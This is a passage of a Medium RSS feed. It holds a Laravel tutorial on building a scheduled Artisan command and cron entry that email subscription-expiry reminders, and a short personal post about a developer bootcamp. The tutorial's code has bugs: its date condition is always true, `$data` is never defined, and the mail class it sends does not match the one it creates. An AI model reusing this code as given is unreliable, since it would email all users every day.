scrolling="no"><a href="https://medium.com/media/6be659b7967774c1858a5683fa3c423c/href">https://medium.com/media/6be659b7967774c1858a5683fa3c423c/href</a></iframe><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/94b107e0320d88aac451343743d5877a/href">https://medium.com/media/94b107e0320d88aac451343743d5877a/href</a></iframe><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fdf42884ea5b21719d0983ed3a46bd10/href">https://medium.com/media/fdf42884ea5b21719d0983ed3a46bd10/href</a></iframe><pre>php artisan make:command SubscriptionRepayment</pre><p>results to this….</p><pre>&lt;?php</pre><pre>namespace App\Console\Commands;<br>use Illuminate\Console\Command;</pre><pre>class SubscriptionRepayment extends Command</pre><pre>{</pre><pre>/**</pre><pre>* The name and signature of the console command.</pre><pre>*</pre><pre>* @var string</pre><pre>*/</pre><pre>protected $signature = &#39;command:name&#39;;</pre><pre>/**</pre><pre>* The console command description.</pre><pre>*</pre><pre>* @var string</pre><pre>*/</pre><pre>protected $description = &#39;Command description&#39;;</pre><pre>/**</pre><pre>* Create a new command instance.</pre><pre>*</pre><pre>* @return void</pre><pre>*/</pre><pre>public function __construct()</pre><pre>{</pre><pre>parent::__construct();</pre><pre>}</pre><pre>/**</pre><pre>* Execute the console command.</pre><pre>*</pre><pre>* @return mixed</pre><pre>*/</pre><pre>public function handle()</pre><pre>{</pre><pre>//</pre><pre>}</pre><pre>}</pre><p>In this code, protected $signature = &#39;command:name&#39; contains the name and signature of command we will create</p><p>so lets make ours ….</p><p>Replace the words command:name with subscription:repayment. This is what we will call this when running the command to perform the task.</p><p>Next to protected $description =&#39;Command description&#39;. This is where you place the actual description of what this command will do. The description will be shown when you run the php artisan list.</p><p>Change the description of the command to:</p><p>protected $description = &#39;Notify users for resubscription&#39;;</p><p>MORE………………</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/564cbac86ef5e5f3ad6db6194bbac74e/href">https://medium.com/media/564cbac86ef5e5f3ad6db6194bbac74e/href</a></iframe><p>Lets break it down….</p><pre>//get all payment details<br>$userPayments= SubscriptionPayment::with(&#39;subscription&#39;)-&gt;get();</pre><pre>foreach($userPayments as $payment){</pre><pre>//loop through our payment details and perform my action</pre><pre>//<br>}</pre><pre><br>//finally logs this to the console if successfully</pre><pre>$this-&gt;info(&#39;Repayment Notification has been Sent&#39;);</pre><p>Now time for the Maths..I want to send a notification to a user 3 days before his expiration, what do i do ? Subtract 3 days from the expiration, then check if the current day is equal to the value of 3 days before expiration then i send him a notification mail.</p><pre>$expirationDate = $payment-&gt;expiration_date;</pre><pre>//Subtracts 3days from the expiration date<br>$carbon3DaysBeforeExpirationDate = Carbon::parse($expirationDate)-&gt;subDay(3)-&gt;toDateString();</pre><p>Same with this…..</p><pre>//Subtracts 2days from the expiration date</pre><pre>$carbon2DaysBeforeExpirationDate = Carbon::parse($expirationDate)-&gt;subDay(2)-&gt;toDateString();</pre><pre>//Subtracts a day from the expiration date</pre><pre>$carbon1DayBeforeExpirationDate = Carbon::parse($expirationDate)-&gt;subDay(1)-&gt;toDateString();</pre><pre>//  if currentDate is 3days or 2 days or a day before the expiration perform the below action</pre><pre>if($currentDate == $carbon3DaysBeforeExpirationDate || $carbon2DaysBeforeExpirationDate || $carbon1DayBeforeExpirationDate){</pre><pre>Mail::to($payment-&gt;user-&gt;email)-&gt;send(new NewPay($data));</pre><pre>}</pre><pre>//the logs this to the console</pre><pre>$this-&gt;info(&#39;Repayment Notification has been Sent&#39;);</pre><p>So we are done creating our command , so lets create our mail</p><pre>php artisan make:mail ResubscriptionMail</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f9040ae026d1abfca89d22ec67a66096/href">https://medium.com/media/f9040ae026d1abfca89d22ec67a66096/href</a></iframe><h4>Registering the Command</h4><p>Now that you have created the command, you will need to register it in the Kernel.</p><p>Go to <strong>app/Console/Kernel.php</strong></p><p>In this file, we register the command class in the commands property and we schedule commands to be executed at periodic intervals in the schedule method. This is where we handle all the Cron Jobs in Laravel.</p><p>Change this file with the contents below. We have simply added our SubscriptionRepayment class to the commands property and schedule it to run every day.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5e01a5e3cc618df45bea6b1077aa5b1d/href">https://medium.com/media/5e01a5e3cc618df45bea6b1077aa5b1d/href</a></iframe><p>Now, if you run the php artisan list command in the terminal, you will see your command has been registered. You will be able to see the command name with the signature and description.</p><p>Let’s highlight some things:</p><p>i) Commands\SubscriptionRepayment::class, refers to subscriptionRepayment class where we handled the command</p><p>ii) $schedule-&gt;command(&#39;subscription:repayment&#39;) is where we define which command needs to be executed and -&gt;daily();</p><p>You can replace -&gt;daily(); with another time interval option from the following list. You can find more about Task Scheduling in <a href="https://laravel.com/docs/scheduling">Laravel Documentation</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*2DvCYf6TbNJF8H2az5WvJw.png" /></figure><p>Don’t forget to setup mail credentials in the .env file and make sure you have details in the users table and other tables in the database. Execute the command itself on the terminal:</p><pre> php artisan subscription:repayment</pre><h3>Starting the Laravel Scheduler</h3><p>Let’s setup the Cron Jobs to run automatically without initiating manually by running the command. To start the Laravel Scheduler , we only need to add one Cron job which executes every minute. Go to your terminal, ssh into your server, cd into your project and run this command.</p><pre>crontab -e</pre><p>This will open the server Crontab file, paste the code below into the file, save and then exit.</p><p>* * * * * cd /path-to-your-project &amp;&amp; php artisan schedule:run &gt;&gt; /dev/null 2&gt;&amp;1</p><p>Do not forget to replace <strong>/path/to/artisan</strong> with the full path to the Artisan command of your Laravel Application.</p><p>One of the most important advantages of Laravel Task Scheduler is that we can focus on creating commands, writing logic and Laravel takes care of the rest.</p><p>Next thing we should is to mmm ……………………….</p><p>Nothing actually gotcha ..</p><p>Thank you for reading…</p><p>Credits to <a href="https://tutsforweb.com/">https://tutsforweb.com</a>.. for this swift blog post..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bf5c714b644" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MY FIRST WEEK EXPERIENCE BECOMING A FULL STACK WEB DEVELOPER]]></title>
            <link>https://s5treak.medium.com/my-first-week-experience-becoming-a-full-stack-web-developer-b66a4365bc13?source=rss-4095a823e1b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b66a4365bc13</guid>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Prosper Kalu]]></dc:creator>
            <pubDate>Mon, 28 May 2018 10:29:01 GMT</pubDate>
            <atom:updated>2018-05-28T15:21:29.142Z</atom:updated>
            <content:encoded><![CDATA[<p><em>MY FIRST WEEK EXPERIENCE BECOMING A FULL STACK WEB DEVELOPER</em></p><p><em>It was really a great week as I was introduced into the world of web development last week, and I still got 10 weeks to spend here at Innovation Growth Hub (IGHUB) to be a FULL STACK WEB DEVELOPER.</em></p><p><em>It was fun and great starting by learning the basics of Front End Development with HTML, CSS &amp; setting up my web tools ie Sublime text, GIT, XAMP, WAMP etc.</em></p><p><em>It is challenging and frustrating when your codes doesn’t work as expected simply because of minor errors like closing the HTML tags which I became very conscious to do. Sometimes when I grumbled like my folks you will hear our mentor -Mr Josh saying “DO IT AGAIN”.I always felt like punching his teeth ***Please don’t tell him what I said***.</em></p><p><em>To sum things up, I completed my first project on HTML successfully just like my other folks and am still pushing on waiting for my next project. I learned a valuable lesson too and thanks to challenges I faced as they were the reasons I pressed on.</em></p><p><em>Thanks to God, Thanks to IGHUB &amp; Thanks to my readers and hope you will join me at IGHUB too.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b66a4365bc13" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>